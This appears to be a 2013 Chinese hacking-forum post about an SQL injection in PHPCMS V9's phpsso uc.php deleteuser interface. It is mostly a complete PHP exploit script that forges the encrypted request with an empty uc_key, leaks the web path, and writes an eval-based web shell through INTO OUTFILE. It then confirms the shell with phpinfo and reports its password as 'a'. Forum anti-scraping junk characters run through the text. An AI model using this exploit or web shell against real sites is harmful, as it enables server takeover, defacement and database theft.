找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2204|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
, [& G3 ]- J8 R1 {" }  P( }1 I1 q4 @) Q! d4 n
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: n: z) T0 F6 [$ u9 M: D: W

$ i9 U$ \, I6 d6 z+ _- p漏洞分析:
; Z/ g  C9 H+ `& A7 p1.未启用ucenter服务的情况下uc_key为空
* T7 v8 v: p1 V; O* h) Kdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 J5 P9 b1 U! Y* |% }4 H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。7 ^' ?. E3 K" y( R9 {
    public function deleteuser($get,$post) {
6 O3 p  ~; p* _$ W* Q        pc_base::load_app_func('global', 'admin');
7 A$ N/ ]: _2 V/ s- d& k5 |: h        pc_base::load_app_class('messagequeue', 'admin' , 0);
7 m$ B% u- U9 p        $ids = new_stripslashes($get['ids']);; ^: t- t7 l' Q9 u) n8 X, m6 C
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");/ Q6 h- P. E- d- m' t, _9 K
SQL语句为& b8 F8 X! o1 Z" x1 [( v
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 I( I! U1 d4 I
9 ]( ?: ~- [. p- t利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
# G, O4 v. Y0 k( i& o1 Y; a! }" ~<?php
1 A3 P1 h. U5 N( @print_r('
) e$ N- [. ]/ U0 H7 G---------------------------------------------------------------------------
0 n& i# R/ ~5 bPHPcms (v9 or Old Version) uc api sql injection 0day  i. K' ]1 S3 F. E
by rayh4c#80sec.com. k7 E7 H9 r( P
---------------------------------------------------------------------------
" P+ ?- x9 Z5 L: S7 H# A');) h" G- }6 s1 I
: A0 C/ w8 E2 a0 t0 @
if ($argc<3) {
7 z( W8 O9 U% E. u    print_r('
$ }5 y0 K  U4 e4 |1 _% h---------------------------------------------------------------------------
+ _" ~' m3 [$ L/ `7 G: XUsage: php '.$argv[0].' host path OPTIONS
. Z, p; I+ o; q+ ]% ^4 K% W0 Uhost:      target server (ip/hostname)1 z/ ]1 n5 i. Z- \
path:      path to phpcms2 r7 s8 `0 ~; V1 F
Options:
# h5 S3 Q; T4 x/ Q4 c, |3 T -p[port]:    specify a port other than 80  O' }9 U3 D8 _- S( U2 h7 g2 ]! S& f
-P[ip:port]: specify a proxy; @2 {' B/ w: j  X9 N1 x
Example:, h, S$ L# ?9 `4 |3 F  J
php '.$argv[0].' localhost /
# R1 S$ x! G* M* m) q/ {php '.$argv[0].' localhost /phpcms/ -p81
- z! Y" [7 A  K# }2 V  vphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
/ l5 w+ M$ t% M3 F# q1 i---------------------------------------------------------------------------9 K8 A6 @$ N* @2 C
');
9 X8 q) H# z$ I8 H    die;- X: v2 w* ^# o3 P9 h: L" L
}* K- A4 _9 v, a
) i2 n- k$ j! {3 |
error_reporting(7);) t9 g1 f: X6 K- ]
ini_set("max_execution_time",0);
5 n7 Q# a0 I9 j% U1 t6 h9 Zini_set("default_socket_timeout",5);
2 d  W6 P) k+ b/ u( f4 {
( l: a- W* ?" x  \function quick_dump($string)
* O& O1 U) l+ W3 N! X{
+ t# f$ G' A& k# l* ~  $result='';$exa='';$cont=0;& B4 [# I5 b$ p; |$ ^/ E
  for ($i=0; $i<=strlen($string)-1; $i++)6 Z6 s/ ~1 o$ t; V# S6 M0 N
  {& A' s8 S: R9 W  e
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ n- Z8 P& |+ z, {4 t6 C
   {$result.="  .";}
. E- }' U2 ^* E) k" V   else
8 i, Y/ k( B# w' d   {$result.="  ".$string[$i];}
# O1 j" N9 S7 w( X; d# E   if (strlen(dechex(ord($string[$i])))==2)
4 V; |! k/ d. f7 o. N   {$exa.=" ".dechex(ord($string[$i]));}
+ R7 h, ^7 d6 t% g9 L7 x   else9 t- ]& c; f6 \8 _6 R
   {$exa.=" 0".dechex(ord($string[$i]));}
8 b+ s* H0 s' O' H1 E5 `   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}" d* u, n# F& W9 ^% z: e
  }9 J1 g  A1 N* u% {, ~+ L& [6 f/ M9 R
return $exa."\r\n".$result;8 D" o0 ~, Z; G5 r# e
}& m0 `- Q6 x& I
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 q; p% ?! R, |
1 B, `$ q# x' i; [
function send($packet)
- s3 X3 [6 a$ s4 I) P{
. z9 R) G5 J" l7 R  global $proxy, $host, $port, $html, $proxy_regex;
- }8 J6 d( j/ T& c0 D  if ($proxy=='') {" E6 X# ~6 X3 g* Q# @4 c: t5 M
    $ock=fsockopen(gethostbyname($host),$port);& m$ C+ q2 L+ D; I1 k5 C. B
    if (!$ock) {
7 p; G% e1 o1 {      echo 'No response from '.$host.':'.$port; die;0 ?" F) V# S" f2 k" h
    }
) ]: M2 }9 W$ x1 s' O! `  }7 H  s& a+ w+ I) g
  else {
) @0 Q$ B2 y/ m1 |3 _4 @        $c = preg_match($proxy_regex,$proxy);: p. H& t; l9 k6 n/ Y+ V
    if (!$c) {9 g1 {6 h) V% |+ k/ L
      echo 'Not a valid proxy...';die;
5 [& {' w' d9 }& s  r    }4 I; F. r  c, F3 ?2 k( k. T
    $parts=explode(':',$proxy);6 {6 g9 {) a6 t5 d+ |! r
    $parts[1]=(int)$parts[1];
" _6 X. t. C( w; w2 c; n$ e& o    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
5 w- I+ U5 D0 I0 U% n4 `6 l    $ock=fsockopen($parts[0],$parts[1]);
- d' S" x% Q# P; e    if (!$ock) {" U5 k! ?, j$ M: X+ n; b$ K: ~
      echo 'No response from proxy...';die;% f8 {, O$ q8 Y( F3 H: J
        }% N6 |8 I3 f( ~* ]0 Z
  }
6 Z0 ]# d; z: u  fputs($ock,$packet);; H6 y# B' A7 T  C( ]7 M1 z
  if ($proxy=='') {
1 R8 A3 ^( a4 N' l5 S$ y4 b5 N    $html='';4 h) a. t1 k: s6 ~7 V! j- [5 }
    while (!feof($ock)) {6 j3 y7 y/ u9 z
      $html.=fgets($ock);1 z$ [. y7 C5 i8 v; W
    }
/ h/ s2 b' }8 a; F/ X* X  }
3 o" C- V! p) r* {( t+ f+ C  else {
/ q7 e# W7 b0 T1 w1 }    $html='';
2 W( l* K! o. Q. {! o    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
* x, N% V$ _4 u; R9 t      $html.=fread($ock,1);
4 b; h" O. d9 t, s    }
( y# @; ]  C: R  }
' e) x! B6 c* ^  {  j+ l# r  fclose($ock);9 p0 I& f, z; _+ |" Z0 i, Y" P" ~" V- n
}6 C* y: K  M1 I1 V2 b0 ?
" n9 V) j- V- }, E# x
$host=$argv[1];! Z  A' Y+ ^" T$ i
$path=$argv[2];+ j! m; `; C7 ~
$port=80;
6 R; [- n/ R3 z7 N* M8 J$proxy="";% f% T9 {) b" T6 t0 t
for ($i=3; $i<$argc; $i++){3 r9 w/ j8 W% H6 ^/ G6 ~- x/ Z8 q% M
$temp=$argv[$i][0].$argv[$i][1];
6 a9 Z) H' f; Xif ($temp=="-p")
1 O& z% ^) V. O7 t  q# |( ^{
" H# Y" L- q/ l0 T( e+ @- @* I  $port=(int)str_replace("-p","",$argv[$i]);
" k" u& |" y) ]) h& h9 s}
: z, ~1 Z4 _4 ^( h' ^' f# J8 C% nif ($temp=="-P")
3 H: s) K! v# L0 C0 H$ B1 u* N{. F. x3 ]2 h+ X0 T1 c+ o6 V' q
  $proxy=str_replace("-P","",$argv[$i]);' e- w7 ]' |  C: [
}
) h  P1 B" v' l- @6 }3 m; _2 T}1 {5 P- U% H! f# c
' B! y& g$ R' m! ^9 h7 H  F  v5 t
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
8 h) M. n. r7 y, o5 xif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}3 e6 m8 L7 R8 h" r8 h

9 O# G0 }& ?/ q  N9 ?6 sfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
4 ]& d& g+ R, ~# t, _7 O2 V& k! p6 U5 H% o1 f
    $ckey_length = 4;
+ `9 {- u* T# b  T
* I! F! z6 Q% h. s- |& B    $key = md5($key ? $key : '');
0 V6 a2 v5 m; S# w% Y0 j  A    $keya = md5(substr($key, 0, 16));, n& M8 \+ k1 z: ]7 K& m0 f
    $keyb = md5(substr($key, 16, 16));1 W$ E+ ^# Y7 ^  z4 n# y& g3 h
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ t# p. r  d- ^+ Y9 ^1 A. {- ?$ w/ w) U0 D  R
    $cryptkey = $keya.md5($keya.$keyc);
/ m- t/ |' a  |! N6 j% w( Q1 H    $key_length = strlen($cryptkey);
& Z+ U9 U* G! s7 ^$ \% ]! e, q0 r: |2 g7 A5 x: |" H1 a3 v) h7 l
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;# L: N+ V5 @3 U! F. N* u" a- o( q
    $string_length = strlen($string);7 E0 `$ \! c- L1 d. W. I1 w) m
0 ^. d) z& u+ e- R" g# U
    $result = '';! O8 H0 T, J* O- E' ^; r
    $box = range(0, 255);
$ u- W- B1 F6 S6 G
. Z# [5 m! o- I. B3 s    $rndkey = array();
" i; H  c) ?0 k0 @, ^* @# B2 t1 J) x    for($i = 0; $i <= 255; $i++) {7 W+ P; x* ?" b) m8 C, ~* c
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);2 h5 @1 U1 |! v, E2 @! b* }
    }
! n; @% g) `: S! R  w4 g6 o, t1 t9 C6 C$ n" w# ?
    for($j = $i = 0; $i < 256; $i++) {
& ~* v& d# f* X0 X7 n' S3 |& P6 b        $j = ($j + $box[$i] + $rndkey[$i]) % 256;2 X# d; q4 \$ L% b9 F% [/ g
        $tmp = $box[$i];$ T6 U8 y+ l2 s. E
        $box[$i] = $box[$j];2 Y1 R$ C% Q8 x/ D
        $box[$j] = $tmp;
, b0 j, |/ |1 S: `  [$ y9 _    }
9 f. n* B: H! t0 O, [; Z* z: D2 p
: ]' x( e1 q! B8 R& B( Y    for($a = $j = $i = 0; $i < $string_length; $i++) {5 I0 |7 X  a# D+ A4 M+ i+ }
        $a = ($a + 1) % 256;% A/ {2 k$ D6 P3 x% j% J
        $j = ($j + $box[$a]) % 256;: J+ o9 l% H" j+ p
        $tmp = $box[$a];
# ^6 |9 N! V& g$ f* W        $box[$a] = $box[$j];
3 F$ R6 g0 {. u9 ]2 e6 D3 o        $box[$j] = $tmp;
* ]% h2 [- m9 z        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" B* N9 U( ~; v; p6 W# Y7 J    }
, M, O$ q3 v6 ~0 X6 p2 C  m
- ]9 Z4 @# G+ Z$ Z    if($operation == 'DECODE') {/ u3 o7 s( Q# b' `% i, F5 U# s, i2 R
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
# y( t$ Y* O  n! @            return substr($result, 26);
' ~. [3 l; r! g1 ]. C( H# Z4 z        } else {
3 l: X, q) H. ?2 `            return '';$ ?# w: K0 `* k, `, }2 u
        }2 ]( V' ~3 t# }/ F* U
    } else {7 z2 K( k/ Z' L0 i* x3 V" ~! L
        return $keyc.str_replace('=', '', base64_encode($result));, Z; I6 B% W5 G5 X& l' v
    }" J* u1 V; A+ k4 x, P
+ F* C6 w; M/ u, |  ?" E- b6 l
}
* y) ^- c% a8 p4 D! V+ m/ M, E2 g
$ Q- V! x/ g" H. Y- I" \$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
; k  f9 ~  a/ D$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: E- j- c6 m9 i  A! y" P5 Pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 l' j( Q& y. o# a: Z$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. s$ q6 h2 P. ?, D) F, j
$packet.="User-Agent: Mozilla/5.0\r\n";5 `8 Z7 F" u4 x) v* Y* }
$packet.="Host: ".$host."\r\n";1 d' T2 \8 E3 J- n0 c3 I" n
$packet.="Connection: Close\r\n\r\n";- q, [6 D- ?) [- \) v. N
send($packet);
- O, g6 e! M2 r+ |: w  @if(strpos($html,"MySQL Errno") > 0){
% K# u; G7 j  g8 j3 K% g- aecho "[2] 发现存在SQL注入漏洞"."\n";7 K$ p6 }9 M. c# b- V
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
9 G7 }& o& B. L1 L& K" q# r5 i! z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 _- g( O: J; T, V3 E: X* H# R+ z
$packet.="User-Agent: Mozilla/5.0\r\n";. |. S1 K: t$ n1 e0 P
$packet.="Host: ".$host."\r\n";
: m( R; s, k$ Q$packet.="Connection: Close\r\n\r\n";0 K# d3 ]0 U8 b+ x# y- F
send($packet);
- B7 A& E0 T- v! Q# apreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
% e2 Y! \' m" g) N% n//print_r($matches);
0 p0 J- N, s$ R  x3 J, Oif(!empty($matches)){
! ?: c. B+ i; l! ?- T' L+ P+ cecho "[4] 得到web路径 " . $matches[0]."\n";/ X" U& {9 k5 G# e+ S  g- i3 J
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
$ F! H, K+ D4 C/ p% z: {& @$SQL = "time=999999999999999999999999&ids=1)";
2 [6 f( C- j6 u/ \" v$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' R  f  X; a" ~+ O' z' h' _# a7 h6 h$SQL.="&action=deleteuser";
: c* Q8 y+ x$ q" m! C" _$SQL = urlencode(authcode($SQL, "ENCODE", ""));
! B; X2 R1 c) w4 ?echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";$ P' S  j7 p7 l- d* Y7 Y& b
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! h$ S3 w- l4 u" q. C6 J$packet.="User-Agent: Mozilla/5.0\r\n";
0 r  g) f: w; Y  A$packet.="Host: ".$host."\r\n";
0 {: _9 d9 T$ V5 |3 Y% z' ?6 F$packet.="Connection: Close\r\n\r\n";6 P1 B0 l) U/ C
send($packet);
3 P2 {$ O: m& A/ v- b4 o9 Bif(strpos($html,"Access denied") > 0){
5 U2 C8 ~% `. l3 |echo "[-] MYSQL权限过低 禁止写入文件 ";" q# J+ D) b' m8 k
die;  a& S$ a3 X. N; n  ^
}
6 c. m' _; V* \4 r3 t; a: Q+ secho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$ V! u& z* B, A$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";' I) F! Q2 A! I: V. E
$packet.="User-Agent: Mozilla/5.0\r\n";
  F4 q. A) Q1 Z6 T$packet.="Host: ".$host."\r\n";
  t" y" |6 F; P6 I$packet.="Connection: Close\r\n\r\n";) k* g2 `- E/ h2 s
send($packet);: u  L2 k- N$ O0 [7 C
if(strpos($html,"<title>phpinfo()</title>") > 0){1 X5 Y0 x- y' y5 K; t8 S+ }& r
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
, e1 n% C+ R$ ]0 u% C. ~}! a1 b( C2 O1 s2 l- T6 _' n) |
}else{
4 g" r# x* T  N1 o) ^& [echo "[-]未取到web路径 ";! y0 c3 r) K7 @
}
) H. c& j- \$ q}else{
9 J0 }. V/ Q' C' m; Gecho "[*]不存在SQL注入漏洞"."\n";& j4 R4 }& ~3 u; q! }% Z3 ~
}
( K7 d7 k2 c# h+ f- ]! `3 Q1 b& C/ Y: u8 t7 @
?>; l+ O3 I. D5 S3 |7 B; Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表